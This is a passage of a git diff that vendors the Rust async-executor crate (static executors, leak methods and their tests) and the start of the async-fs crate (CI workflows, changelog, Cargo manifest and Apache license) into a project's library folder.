*active = Slab::new(); + } + + // SAFETY: StaticExecutor has the same memory layout as State as it's repr(transparent). + // The lifetime is not altered: 'static -> 'static. + let static_executor: &'static StaticExecutor = unsafe { std::mem::transmute(state) }; + static_executor + } +} + +impl LocalExecutor<'static> { + /// Consumes the [`LocalExecutor`] and intentionally leaks it. + /// + /// Largely equivalent to calling `Box::leak(Box::new(executor))`, but the produced + /// [`StaticLocalExecutor`]'s functions are optimized to require fewer synchronizing operations + /// when spawning, running, and finishing tasks. + /// + /// `StaticLocalExecutor` cannot be converted back into a `Executor`, so this operation is + /// irreversible without the use of unsafe. + /// + /// # Example + /// + /// ``` + /// use async_executor::LocalExecutor; + /// use futures_lite::future; + /// + /// let ex = LocalExecutor::new().leak(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// + /// future::block_on(ex.run(task)); + /// ``` + pub fn leak(self) -> &'static StaticLocalExecutor { + let ptr = self.inner.state.load(Ordering::Relaxed); + + let state: &'static State = if ptr.is_null() { + Box::leak(Box::new(State::new())) + } else { + // SAFETY: So long as an Executor lives, it's state pointer will always be valid + // when accessed through state_ptr. This executor will live for the full 'static + // lifetime so this isn't an arbitrary lifetime extension. + unsafe { &*ptr } + }; + + std::mem::forget(self); + + let mut active = state.active.lock().unwrap_or_else(PoisonError::into_inner); + if !active.is_empty() { + // Reschedule all of the active tasks. + for waker in active.drain() { + waker.wake(); + } + // Overwrite to ensure that the slab is deallocated. + *active = Slab::new(); + } + + // SAFETY: StaticLocalExecutor has the same memory layout as State as it's repr(transparent). + // The lifetime is not altered: 'static -> 'static. + let static_executor: &'static StaticLocalExecutor = unsafe { std::mem::transmute(state) }; + static_executor + } +} + +/// A static-lifetimed async [`Executor`]. +/// +/// This is primarily intended to be used in [`static`] variables, or types intended to be used, or can be created in non-static +/// contexts via [`Executor::leak`]. +/// +/// Spawning, running, and finishing tasks are optimized with the assumption that the executor will never be `Drop`'ed. +/// A static executor may require signficantly less overhead in both single-threaded and mulitthreaded use cases. +/// +/// As this type does not implement `Drop`, losing the handle to the executor or failing +/// to consistently drive the executor with [`StaticExecutor::tick`] or +/// [`StaticExecutor::run`] will cause the all spawned tasks to permanently leak. Any +/// tasks at the time will not be cancelled. +/// +/// [`static`]: https://doc.rust-lang.org/std/keyword.static.html +#[repr(transparent)] +pub struct StaticExecutor { + state: State, +} + +// SAFETY: Executor stores no thread local state that can be accessed via other thread. +unsafe impl Send for StaticExecutor {} +// SAFETY: Executor internally synchronizes all of it's operations internally. +unsafe impl Sync for StaticExecutor {} + +impl UnwindSafe for StaticExecutor {} +impl RefUnwindSafe for StaticExecutor {} + +impl fmt::Debug for StaticExecutor { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + debug_state(&self.state, "StaticExecutor", f) + } +} + +impl StaticExecutor { + /// Creates a new StaticExecutor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::StaticExecutor; + /// + /// static EXECUTOR: StaticExecutor = StaticExecutor::new(); + /// ``` + pub const fn new() -> Self { + Self { + state: State::new(), + } + } + + /// Spawns a task onto the executor. + /// + /// Note: unlike [`Executor::spawn`], this function requires being called with a `'static` + /// borrow on the executor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::StaticExecutor; + /// + /// static EXECUTOR: StaticExecutor = StaticExecutor::new(); + /// + /// let task = EXECUTOR.spawn(async { + /// println!("Hello world"); + /// }); + /// ``` + pub fn spawn( + &'static self, + future: impl Future + Send + 'static, + ) -> Task { + let (runnable, task) = Builder::new() + .propagate_panic(true) + .spawn(|()| future, self.schedule()); + runnable.schedule(); + task + } + + /// Spawns a non-`'static` task onto the executor. + /// + /// ## Safety + /// + /// The caller must ensure that the returned task terminates + /// or is cancelled before the end of 'a. + pub unsafe fn spawn_scoped<'a, T: Send + 'a>( + &'static self, + future: impl Future + Send + 'a, + ) -> Task { + // SAFETY: + // + // - `future` is `Send` + // - `future` is not `'static`, but the caller guarantees that the + // task, and thus its `Runnable` must not live longer than `'a`. + // - `self.schedule()` is `Send`, `Sync` and `'static`, as checked below. + // Therefore we do not need to worry about what is done with the + // `Waker`. + let (runnable, task) = unsafe { + Builder::new() + .propagate_panic(true) + .spawn_unchecked(|()| future, self.schedule()) + }; + runnable.schedule(); + task + } + + /// Attempts to run a task if at least one is scheduled. + /// + /// Running a scheduled task means simply polling its future once. + /// + /// # Examples + /// + /// ``` + /// use async_executor::StaticExecutor; + /// + /// static EXECUTOR: StaticExecutor = StaticExecutor::new(); + /// + /// assert!(!EXECUTOR.try_tick()); // no tasks to run + /// + /// let task = EXECUTOR.spawn(async { + /// println!("Hello world"); + /// }); + /// + /// assert!(EXECUTOR.try_tick()); // a task was found + /// ``` + pub fn try_tick(&self) -> bool { + self.state.try_tick() + } + + /// Runs a single task. + /// + /// Running a task means simply polling its future once. + /// + /// If no tasks are scheduled when this method is called, it will wait until one is scheduled. + /// + /// # Examples + /// + /// ``` + /// use async_executor::StaticExecutor; + /// use futures_lite::future; + /// + /// static EXECUTOR: StaticExecutor = StaticExecutor::new(); + /// + /// let task = EXECUTOR.spawn(async { + /// println!("Hello world"); + /// }); + /// + /// future::block_on(EXECUTOR.tick()); // runs the task + /// ``` + pub async fn tick(&self) { + self.state.tick().await; + } + + /// Runs the executor until the given future completes. + /// + /// # Examples + /// + /// ``` + /// use async_executor::StaticExecutor; + /// use futures_lite::future; + /// + /// static EXECUTOR: StaticExecutor = StaticExecutor::new(); + /// + /// let task = EXECUTOR.spawn(async { 1 + 2 }); + /// let res = future::block_on(EXECUTOR.run(async { task.await * 2 })); + /// + /// assert_eq!(res, 6); + /// ``` + pub async fn run(&self, future: impl Future) -> T { + self.state.run(future).await + } + + /// Returns a function that schedules a runnable task when it gets woken up. + fn schedule(&'static self) -> impl Fn(Runnable) + Send + Sync + 'static { + let state: &'static State = &self.state; + // TODO: If possible, push into the current local queue and notify the ticker. + move |runnable| { + let result = state.queue.push(runnable); + debug_assert!(result.is_ok()); // Since we use unbounded queue, push will never fail. + state.notify(); + } + } +} + +impl Default for StaticExecutor { + fn default() -> Self { + Self::new() + } +} + +/// A static async [`LocalExecutor`] created from [`LocalExecutor::leak`]. +/// +/// This is primarily intended to be used in [`thread_local`] variables, or can be created in non-static +/// contexts via [`LocalExecutor::leak`]. +/// +/// Spawning, running, and finishing tasks are optimized with the assumption that the executor will never be `Drop`'ed. +/// A static executor may require signficantly less overhead in both single-threaded and mulitthreaded use cases. +/// +/// As this type does not implement `Drop`, losing the handle to the executor or failing +/// to consistently drive the executor with [`StaticLocalExecutor::tick`] or +/// [`StaticLocalExecutor::run`] will cause the all spawned tasks to permanently leak. Any +/// tasks at the time will not be cancelled. +/// +/// [`thread_local]: https://doc.rust-lang.org/std/macro.thread_local.html +#[repr(transparent)] +pub struct StaticLocalExecutor { + state: State, + marker_: PhantomData>, +} + +impl UnwindSafe for StaticLocalExecutor {} +impl RefUnwindSafe for StaticLocalExecutor {} + +impl fmt::Debug for StaticLocalExecutor { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + debug_state(&self.state, "StaticLocalExecutor", f) + } +} + +impl StaticLocalExecutor { + /// Creates a new StaticLocalExecutor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::StaticLocalExecutor; + /// + /// thread_local! { + /// static EXECUTOR: StaticLocalExecutor = StaticLocalExecutor::new(); + /// } + /// ``` + pub const fn new() -> Self { + Self { + state: State::new(), + marker_: PhantomData, + } + } + + /// Spawns a task onto the executor. + /// + /// Note: unlike [`LocalExecutor::spawn`], this function requires being called with a `'static` + /// borrow on the executor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// + /// let ex = LocalExecutor::new().leak(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// ``` + pub fn spawn(&'static self, future: impl Future + 'static) -> Task { + let (runnable, task) = Builder::new() + .propagate_panic(true) + .spawn_local(|()| future, self.schedule()); + runnable.schedule(); + task + } + + /// Spawns a non-`'static` task onto the executor. + /// + /// ## Safety + /// + /// The caller must ensure that the returned task terminates + /// or is cancelled before the end of 'a. + pub unsafe fn spawn_scoped<'a, T: 'a>( + &'static self, + future: impl Future + 'a, + ) -> Task { + // SAFETY: + // + // - `future` is not `Send` but `StaticLocalExecutor` is `!Sync`, + // `try_tick`, `tick` and `run` can only be called from the origin + // thread of the `StaticLocalExecutor`. Similarly, `spawn_scoped` can only + // be called from the origin thread, ensuring that `future` and the executor + // share the same origin thread. The `Runnable` can be scheduled from other + // threads, but because of the above `Runnable` can only be called or + // dropped on the origin thread. + // - `future` is not `'static`, but the caller guarantees that the + // task, and thus its `Runnable` must not live longer than `'a`. + // - `self.schedule()` is `Send`, `Sync` and `'static`, as checked below. + // Therefore we do not need to worry about what is done with the + // `Waker`. + let (runnable, task) = unsafe { + Builder::new() + .propagate_panic(true) + .spawn_unchecked(|()| future, self.schedule()) + }; + runnable.schedule(); + task + } + + /// Attempts to run a task if at least one is scheduled. + /// + /// Running a scheduled task means simply polling its future once. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// + /// let ex = LocalExecutor::new().leak(); + /// assert!(!ex.try_tick()); // no tasks to run + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// assert!(ex.try_tick()); // a task was found + /// ``` + pub fn try_tick(&self) -> bool { + self.state.try_tick() + } + + /// Runs a single task. + /// + /// Running a task means simply polling its future once. + /// + /// If no tasks are scheduled when this method is called, it will wait until one is scheduled. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// use futures_lite::future; + /// + /// let ex = LocalExecutor::new().leak(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// future::block_on(ex.tick()); // runs the task + /// ``` + pub async fn tick(&self) { + self.state.tick().await; + } + + /// Runs the executor until the given future completes. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// use futures_lite::future; + /// + /// let ex = LocalExecutor::new().leak(); + /// + /// let task = ex.spawn(async { 1 + 2 }); + /// let res = future::block_on(ex.run(async { task.await * 2 })); + /// + /// assert_eq!(res, 6); + /// ``` + pub async fn run(&self, future: impl Future) -> T { + self.state.run(future).await + } + + /// Returns a function that schedules a runnable task when it gets woken up. + fn schedule(&'static self) -> impl Fn(Runnable) + Send + Sync + 'static { + let state: &'static State = &self.state; + // TODO: If possible, push into the current local queue and notify the ticker. + move |runnable| { + let result = state.queue.push(runnable); + debug_assert!(result.is_ok()); // Since we use unbounded queue, push will never fail. + state.notify(); + } + } +} + +impl Default for StaticLocalExecutor { + fn default() -> Self { + Self::new() + } +} diff --git a/lib/malio/async-executor/tests/different_executors.rs b/lib/malio/async-executor/tests/different_executors.rs new file mode 100644 index 0000000..afef3be --- /dev/null +++ b/lib/malio/async-executor/tests/different_executors.rs @@ -0,0 +1,34 @@ +use async_executor::LocalExecutor; +use futures_lite::future::{block_on, pending, poll_once}; +use futures_lite::pin; +use std::cell::Cell; + +#[test] +fn shared_queue_slot() { + block_on(async { + let was_polled = Cell::new(false); + let future = async { + was_polled.set(true); + pending::<()>().await; + }; + + let ex1 = LocalExecutor::new(); + let ex2 = LocalExecutor::new(); + + // Start the futures for running forever. + let (run1, run2) = (ex1.run(pending::<()>()), ex2.run(pending::<()>())); + pin!(run1); + pin!(run2); + assert!(poll_once(run1.as_mut()).await.is_none()); + assert!(poll_once(run2.as_mut()).await.is_none()); + + // Spawn the future on executor one and then poll executor two. + ex1.spawn(future).detach(); + assert!(poll_once(run2).await.is_none()); + assert!(!was_polled.get()); + + // Poll the first one. + assert!(poll_once(run1).await.is_none()); + assert!(was_polled.get()); + }); +} diff --git a/lib/malio/async-executor/tests/drop.rs b/lib/malio/async-executor/tests/drop.rs new file mode 100644 index 0000000..5d089b5 --- /dev/null +++ b/lib/malio/async-executor/tests/drop.rs @@ -0,0 +1,147 @@ +#[cfg(not(miri))] +use std::mem; +use std::panic::catch_unwind; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::Mutex; +use std::task::{Poll, Waker}; + +use async_executor::{Executor, Task}; +use futures_lite::future; +use once_cell::sync::Lazy; + +#[test] +fn executor_cancels_everything() { + static DROP: AtomicUsize = AtomicUsize::new(0); + static WAKER: Lazy>> = Lazy::new(Default::default); + + let ex = Executor::new(); + + let task = ex.spawn(async { + let _guard = CallOnDrop(|| { + DROP.fetch_add(1, Ordering::SeqCst); + }); + + future::poll_fn(|cx| { + *WAKER.lock().unwrap() = Some(cx.waker().clone()); + Poll::Pending::<()> + }) + .await; + }); + + future::block_on(ex.tick()); + assert!(WAKER.lock().unwrap().is_some()); + assert_eq!(DROP.load(Ordering::SeqCst), 0); + + drop(ex); + assert_eq!(DROP.load(Ordering::SeqCst), 1); + + assert!(catch_unwind(|| future::block_on(task)).is_err()); + assert_eq!(DROP.load(Ordering::SeqCst), 1); +} + +#[cfg(not(miri))] +#[test] +fn leaked_executor_leaks_everything() { + static DROP: AtomicUsize = AtomicUsize::new(0); + static WAKER: Lazy>> = Lazy::new(Default::default); + + let ex = Executor::new(); + + let task = ex.spawn(async { + let _guard = CallOnDrop(|| { + DROP.fetch_add(1, Ordering::SeqCst); + }); + + future::poll_fn(|cx| { + *WAKER.lock().unwrap() = Some(cx.waker().clone()); + Poll::Pending::<()> + }) + .await; + }); + + future::block_on(ex.tick()); + assert!(WAKER.lock().unwrap().is_some()); + assert_eq!(DROP.load(Ordering::SeqCst), 0); + + mem::forget(ex); + assert_eq!(DROP.load(Ordering::SeqCst), 0); + + assert!(future::block_on(future::poll_once(task)).is_none()); + assert_eq!(DROP.load(Ordering::SeqCst), 0); +} + +#[test] +fn await_task_after_dropping_executor() { + let s: String = "hello".into(); + + let ex = Executor::new(); + let task: Task<&str> = ex.spawn(async { &*s }); + assert!(ex.try_tick()); + + drop(ex); + assert_eq!(future::block_on(task), "hello"); + drop(s); +} + +#[test] +fn drop_executor_and_then_drop_finished_task() { + static DROP: AtomicUsize = AtomicUsize::new(0); + + let ex = Executor::new(); + let task = ex.spawn(async { + CallOnDrop(|| { + DROP.fetch_add(1, Ordering::SeqCst); + }) + }); + assert!(ex.try_tick()); + + assert_eq!(DROP.load(Ordering::SeqCst), 0); + drop(ex); + assert_eq!(DROP.load(Ordering::SeqCst), 0); + drop(task); + assert_eq!(DROP.load(Ordering::SeqCst), 1); +} + +#[test] +fn drop_finished_task_and_then_drop_executor() { + static DROP: AtomicUsize = AtomicUsize::new(0); + + let ex = Executor::new(); + let task = ex.spawn(async { + CallOnDrop(|| { + DROP.fetch_add(1, Ordering::SeqCst); + }) + }); + assert!(ex.try_tick()); + + assert_eq!(DROP.load(Ordering::SeqCst), 0); + drop(task); + assert_eq!(DROP.load(Ordering::SeqCst), 1); + drop(ex); + assert_eq!(DROP.load(Ordering::SeqCst), 1); +} + +#[test] +fn iterator_panics_mid_run() { + let ex = Executor::new(); + + let panic = std::panic::catch_unwind(|| { + let mut handles = vec![]; + ex.spawn_many( + (0..50).map(|i| if i == 25 { panic!() } else { future::ready(i) }), + &mut handles, + ) + }); + assert!(panic.is_err()); + + let task = ex.spawn(future::ready(0)); + assert_eq!(future::block_on(ex.run(task)), 0); +} + +struct CallOnDrop(F); + +impl Drop for CallOnDrop { + fn drop(&mut self) { + (self.0)(); + } +} diff --git a/lib/malio/async-executor/tests/larger_tasks.rs b/lib/malio/async-executor/tests/larger_tasks.rs new file mode 100644 index 0000000..cc57988 --- /dev/null +++ b/lib/malio/async-executor/tests/larger_tasks.rs @@ -0,0 +1,99 @@ +//! Test for larger tasks. + +use async_executor::Executor; +use futures_lite::future::{self, block_on}; +use futures_lite::prelude::*; + +use std::sync::Arc; +use std::thread; +use std::time::Duration; + +fn do_run>(mut f: impl FnMut(Arc>) -> Fut) { + // This should not run for longer than two minutes. + #[cfg(not(miri))] + let _stop_timeout = { + let (stop_timeout, stopper) = async_channel::bounded::<()>(1); + thread::spawn(move || { + block_on(async move { + let timeout = async { + async_io::Timer::after(Duration::from_secs(2 * 60)).await; + eprintln!("test timed out after 2m"); + std::process::exit(1) + }; + + let _ = stopper.recv().or(timeout).await; + }) + }); + stop_timeout + }; + + let ex = Arc::new(Executor::new()); + + // Test 1: Use the `run` command. + block_on(ex.run(f(ex.clone()))); + + // Test 2: Loop on `tick`. + block_on(async { + let ticker = async { + loop { + ex.tick().await; + } + }; + + f(ex.clone()).or(ticker).await + }); + + // Test 3: Run on many threads. + thread::scope(|scope| { + let (_signal, shutdown) = async_channel::bounded::<()>(1); + + for _ in 0..16 { + let shutdown = shutdown.clone(); + let ex = &ex; + scope.spawn(move || block_on(ex.run(shutdown.recv()))); + } + + block_on(f(ex.clone())); + }); + + // Test 4: Tick loop on many threads. + thread::scope(|scope| { + let (_signal, shutdown) = async_channel::bounded::<()>(1); + + for _ in 0..16 { + let shutdown = shutdown.clone(); + let ex = &ex; + scope.spawn(move || { + block_on(async move { + let ticker = async { + loop { + ex.tick().await; + } + }; + + shutdown.recv().or(ticker).await + }) + }); + } + + block_on(f(ex.clone())); + }); +} + +#[test] +fn smoke() { + do_run(|ex| async move { ex.spawn(async {}).await }); +} + +#[test] +fn yield_now() { + do_run(|ex| async move { ex.spawn(future::yield_now()).await }) +} + +#[test] +fn timer() { + do_run(|ex| async move { + ex.spawn(async_io::Timer::after(Duration::from_millis(5))) + .await; + }) +} diff --git a/lib/malio/async-executor/tests/local_queue.rs b/lib/malio/async-executor/tests/local_queue.rs new file mode 100644 index 0000000..4678366 --- /dev/null +++ b/lib/malio/async-executor/tests/local_queue.rs @@ -0,0 +1,24 @@ +use async_executor::Executor; +use futures_lite::{future, pin}; + +#[test] +fn two_queues() { + future::block_on(async { + // Create an executor with two runners. + let ex = Executor::new(); + let (run1, run2) = ( + ex.run(future::pending::<()>()), + ex.run(future::pending::<()>()), + ); + let mut run1 = Box::pin(run1); + pin!(run2); + + // Poll them both. + assert!(future::poll_once(run1.as_mut()).await.is_none()); + assert!(future::poll_once(run2.as_mut()).await.is_none()); + + // Drop the first one, which should leave the local queue in the `None` state. + drop(run1); + assert!(future::poll_once(run2.as_mut()).await.is_none()); + }); +} diff --git a/lib/malio/async-executor/tests/panic_prop.rs b/lib/malio/async-executor/tests/panic_prop.rs new file mode 100644 index 0000000..eab4901 --- /dev/null +++ b/lib/malio/async-executor/tests/panic_prop.rs @@ -0,0 +1,14 @@ +use async_executor::Executor; +use futures_lite::{future, prelude::*}; + +#[test] +fn test_panic_propagation() { + let ex = Executor::new(); + let task = ex.spawn(async { panic!("should be caught by the task") }); + + // Running the executor should not panic. + assert!(ex.try_tick()); + + // Polling the task should. + assert!(future::block_on(task.catch_unwind()).is_err()); +} diff --git a/lib/malio/async-executor/tests/spawn_many.rs b/lib/malio/async-executor/tests/spawn_many.rs new file mode 100644 index 0000000..cebe2d3 --- /dev/null +++ b/lib/malio/async-executor/tests/spawn_many.rs @@ -0,0 +1,45 @@ +use async_executor::{Executor, LocalExecutor}; +use futures_lite::future; + +#[cfg(not(miri))] +const READY_COUNT: usize = 50_000; +#[cfg(miri)] +const READY_COUNT: usize = 505; + +#[test] +fn spawn_many() { + future::block_on(async { + let ex = Executor::new(); + + // Spawn a lot of tasks. + let mut tasks = vec![]; + ex.spawn_many((0..READY_COUNT).map(future::ready), &mut tasks); + + // Run all of the tasks in parallel. + ex.run(async move { + for (i, task) in tasks.into_iter().enumerate() { + assert_eq!(task.await, i); + } + }) + .await; + }); +} + +#[test] +fn spawn_many_local() { + future::block_on(async { + let ex = LocalExecutor::new(); + + // Spawn a lot of tasks. + let mut tasks = vec![]; + ex.spawn_many((0..READY_COUNT).map(future::ready), &mut tasks); + + // Run all of the tasks in parallel. + ex.run(async move { + for (i, task) in tasks.into_iter().enumerate() { + assert_eq!(task.await, i); + } + }) + .await; + }); +} diff --git a/lib/malio/async-fs/.github/dependabot.yml b/lib/malio/async-fs/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-fs/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-fs/.github/workflows/ci.yml b/lib/malio/async-fs/.github/workflows/ci.yml new file mode 100644 index 0000000..157e647 --- /dev/null +++ b/lib/malio/async-fs/.github/workflows/ci.yml @@ -0,0 +1,75 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + clippy: + uses: smol-rs/.github/.github/workflows/clippy.yml@main + with: + # Windows for windows module. + additional-targets: x86_64-pc-windows-msvc + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - name: Install cargo-hack and cargo-minimal-versions + uses: taiki-e/install-action@v2 + with: + tool: cargo-hack,cargo-minimal-versions + - run: cargo build --all --all-features --all-targets + - run: cargo hack build --feature-powerset --no-dev-deps + - run: cargo minimal-versions build --all --all-features + - run: cargo test + + msrv: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --rust-version diff --git a/lib/malio/async-fs/.github/workflows/release.yml b/lib/malio/async-fs/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/async-fs/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-fs/.gitignore b/lib/malio/async-fs/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/async-fs/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/async-fs/CHANGELOG.md b/lib/malio/async-fs/CHANGELOG.md new file mode 100644 index 0000000..798983d --- /dev/null +++ b/lib/malio/async-fs/CHANGELOG.md @@ -0,0 +1,78 @@ +# Version 2.2.0 + +- Bump MSRV to 1.71. (#50) +- Update to `windows-sys` v0.61. (#50) + +# Version 2.1.3 + +- Update `windows-sys` to v0.60. (#46) + +# Version 2.1.2 + +- Ensure that the docs for `create_dir_all` are close to the equivalent function + in libstd. (#35) + +# Version 2.1.1 + +- Fix a copy/paste error in documentation. (#33) + +# Version 2.1.0 + +- Bump `async-lock` and `futures-lite` to their latest versions. (#27, #28) + +# Version 2.0.0 + +- **Breaking:** Seal extension traits. (#20) +- **Breaking:** Remove unsafe implementations of the `FromRawFd`/`FromRawHandle` traits. (#26) +- Avoid using a `build.rs` script for feature autodetection. (#17) +- Remove the `autocfg` dependency. (#18) +- Avoid a heap allocation in the `ReadDir` implementation. (#23) + +# Version 1.6.0 + +- Implement I/O safety traits on Rust 1.63+ (#13) + +# Version 1.5.0 + +- Replace `&mut self` with `&self` on the following methods: + - `File::sync_data()` + - `File::sync_all()` + - `File::set_len()` + +# Version 1.4.0 + +- Define new extension traits instead of implementing those from `std`. + +# Version 1.3.0 + +- Implement `FromRawFd`/`FromRawHandle` for `File`. +- Implement `OpenOptionsExt` for `OpenOptions` on Windows. +- Re-export some extension traits into OS-specific modules. + +# Version 1.2.1 + +- Optimization: Don't flush if the file is already flushed. + +# Version 1.2.0 + +- Update `blocking` to v1.0 + +# Version 1.1.2 + +- Do not reposition the cursor if the file is not seekable. + +# Version 1.1.1 + +- Update dependencies. + +# Version 1.1.0 + +- Implement `From` for `File`. + +# Version 1.0.1 + +- Fix build error on https://docs.rs + +# Version 1.0.0 + +- Initial version diff --git a/lib/malio/async-fs/Cargo.toml b/lib/malio/async-fs/Cargo.toml new file mode 100644 index 0000000..1f21223 --- /dev/null +++ b/lib/malio/async-fs/Cargo.toml @@ -0,0 +1,31 @@ +[package] +name = "async-fs" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v2.x.y" git tag +version = "2.2.0" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.71" +description = "Async filesystem primitives" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-fs" +homepage = "https://github.com/smol-rs/async-fs" +documentation = "https://docs.rs/async-fs" +keywords = ["asynchronous", "file", "filesystem", "io"] +categories = ["asynchronous", "concurrency"] +exclude = ["/.*"] + +[dependencies] +async-lock = "3.0.0" +blocking = "1.3.0" +futures-lite = "2.0.0" + +[target.'cfg(unix)'.dev-dependencies] +libc = "0.2.78" + +[target.'cfg(windows)'.dev-dependencies.windows-sys] +version = "0.61" +features = [ + "Win32_Storage_FileSystem", +] diff --git a/lib/malio/async-fs/LICENSE-APACHE b/lib/malio/async-fs/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-fs/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You 